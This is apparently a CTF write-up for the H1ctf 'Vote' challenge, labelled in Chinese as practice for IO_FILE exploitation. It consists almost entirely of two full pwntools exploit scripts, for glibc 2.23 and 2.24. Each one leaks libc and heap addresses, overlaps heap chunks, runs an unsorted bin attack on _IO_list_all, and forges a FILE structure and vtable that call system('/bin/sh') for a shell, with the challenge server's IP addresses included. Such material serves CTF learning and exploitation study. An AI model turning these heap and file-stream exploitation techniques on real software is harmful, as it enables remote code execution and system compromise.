H1ctf-Vote

用来练习IO_FILE利用

glibc-2.23

# coding:utf-8
from pwn import *
from FILE import *
context.arch = 'amd64'
libc = ELF("/home/moonagirl/moonagirl/libc/libc_local_x64")
LOCAL = 1
if LOCAL:
#    context.log_level = 'debug'
    io = process('./vote')
    main_arena_off = libc.symbols['__malloc_hook'] + 0x68
else:
    main_arena_off = 0x3c4b78
    #io = remote("47.90.103.10", 6000)
    io = remote("47.97.190.1", 6000)

def mmenu(choice):
    io.recvuntil("Action: ")
    io.sendline(str(choice))

def create(msize, content):
    mmenu(0)
    io.recvuntil("the name's size: ")
    io.sendline(str(msize))
    io.recvuntil("Please enter the name: ")
    io.send(content)

def show(idx):
    mmenu(1)
    io.recvuntil("Please enter the index: ")
    io.sendline(str(idx))

def vote(idx):
    mmenu(2)
    io.recvuntil("Please enter the index: ")
    io.sendline(str(idx))

def result():
    mmenu(3)

def vcancel(idx):
    mmenu(4)
    io.recvuntil("Please enter the index: ")
    io.sendline(str(idx))

def pwnit():
    create(0xE8, 'a0\n')
    create(0x18, 'a1\n')
    create(0xE8, 'a2\n')
    create(0xE8, 'a3\n')
    pay4load = '4'*0x180 + p64(0) + p64(0x81) + '\n'
    create(0x208, pay4load)
    create(0x30, 'a5\n')
    vcancel(0)
    vcancel(2)
    # io.interactive()
    show(0)
    io.recvuntil("count: ")
    libc.address = int(io.recvline()[:-1]) - main_arena_off
    log.success("libc address: " + hex(libc.address))
    io.recvuntil("time: ")
    heap_address  = int(io.recvline()[:-1]) - 0x130
    log.success("heap address: " + hex(heap_address))
    vcancel(3)
    # overlap
    fake_chunk = '6'*0xE0
    fake_chunk += p64(0) + p64(0x2A1)   # change size bigger
    fake_chunk += p64(0xFFFFFFFFFFFFFFFF) + p64(0x555555)
    fake_chunk += '\n'
    create(0x1E8, fake_chunk)   # 6
    create(0xE8, 'a7\n')    # clear unsorted bin
    vcancel(3)
    vcancel(4)  # now unsorted bin have 2 chunks
    # unsorted bin attack
    payload = 'a'*0xE0
    vtable_addr = heap_address + 0x410

    fake_file = IO_FILE_plus_struct()
    fake_file._flags = u64("/bin/sh\x00")
    fake_file._IO_read_ptr = 0x61
    fake_file._IO_read_base = libc.symbols['_IO_list_all'] - 0x10
    fake_file._IO_write_base = 0
    fake_file._IO_write_ptr = 1
    fake_file.vtable = vtable_addr

    payload += str(fake_file)

    payload += p64(1)
    payload += p64(2)
    payload += p64(3)
    payload += p64(libc.symbols["system"])
    payload += '\n'
    create(0x288, payload)  # size 0x2A1
    # now chunk3 removed from unsorted bin, unsorted bin only has chunk4
    pause()
    mmenu(0)
    io.recvuntil("the name's size: ")
    io.sendline(str(48))
    io.interactive()

if __name__ == "__main__":
    pwnit()
    pause()

　　

glibc-2.24

# coding:utf-8
from pwn import *
from FILE import *
context.arch = 'amd64'
libc = ELF("./libc-2.24.so")
LOCAL = 1
if LOCAL:
#    context.log_level = 'debug'
    io = process('./vote',env={"LD_PRELOAD":"./libc-2.24.so"})
#    __malloc_hook+68
    main_arena_off = libc.symbols['__malloc_hook'] + 0x68
else:
    main_arena_off = 0x3c4b78
    #io = remote("47.90.103.10", 6000)
    io = remote("47.97.190.1", 6000)
def z(a=''):
	gdb.attach(io,a)
	if a == '':
		raw_input()
def mmenu(choice):
    io.recvuntil("Action: ")
    io.sendline(str(choice))

def create(msize, content):
    mmenu(0)
    io.recvuntil("the name's size: ")
    io.sendline(str(msize))
    io.recvuntil("Please enter the name: ")
    io.send(content)

def show(idx):
    mmenu(1)
    io.recvuntil("Please enter the index: ")
    io.sendline(str(idx))

def vote(idx):
    mmenu(2)
    io.recvuntil("Please enter the index: ")
    io.sendline(str(idx))

def result():
    mmenu(3)

def vcancel(idx):
    mmenu(4)
    io.recvuntil("Please enter the index: ")
    io.sendline(str(idx))

def pwnit():
    create(0xE8, 'a0\n')
    create(0x18, 'a1\n')
    create(0xE8, 'a2\n')
    create(0xE8, 'a3\n')
    pay4load = '4'*0x180 + p64(0) + p64(0x81) + '\n'
    create(0x208, pay4load)
    create(0x30, 'a5\n')
    vcancel(0)
    vcancel(2)
    show(0)
    io.recvuntil("count: ")
    libc_base = int(io.recvline()[:-1]) - main_arena_off
    io.recvuntil("time: ")
    heap_address  = int(io.recvline()[:-1]) - 0x130
    system = libc.symbols['system']
    _IO_list_all= libc.symbols['_IO_list_all']
    binsh = libc.search('/bin/sh\x00').next()
    _IO_str_jumps = 0x3BE4C0 + libc_base

    system = libc_base+libc.symbols['system']
    _IO_list_all=libc_base+libc.symbols['_IO_list_all']
    # _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps']
    binsh = libc_base+libc.search('/bin/sh\x00').next()

    vcancel(3)
    # overlap
    fake_chunk = '6'*0xE0
    fake_chunk += p64(0) + p64(0x2A1)   # change size bigger
    fake_chunk += p64(0xFFFFFFFFFFFFFFFF) + p64(0x555555)
    fake_chunk += '\n'
    create(0x1E8, fake_chunk)   # 6

    create(0xE8, 'a7\n')    # clear unsorted bin
    vcancel(3)
    vcancel(4)  # now unsorted bin have 2 chunks
    # unsorted bin attack
    payload = 'a'*0xE0
    fake_file = IO_FILE_plus_struct()
    fake_file._flags = 0
    fake_file._IO_read_ptr = 0x61
    fake_file._IO_read_base =_IO_list_all-0x10
    fake_file._IO_buf_base = binsh
    fake_file._mode = 0
    fake_file._IO_write_base = 0
    fake_file._IO_write_ptr = 1
    fake_file.vtable = _IO_str_jumps-8
    payload+=str(fake_file).ljust(0xe8,'\x00')+p64(system)

    create(0x288, payload)  # size 0x2A1
    # io.interactive()
    # pause()
    create(0, 'get shell')
    io.interactive()
if __name__ == "__main__":
    pwnit()
    # pause()

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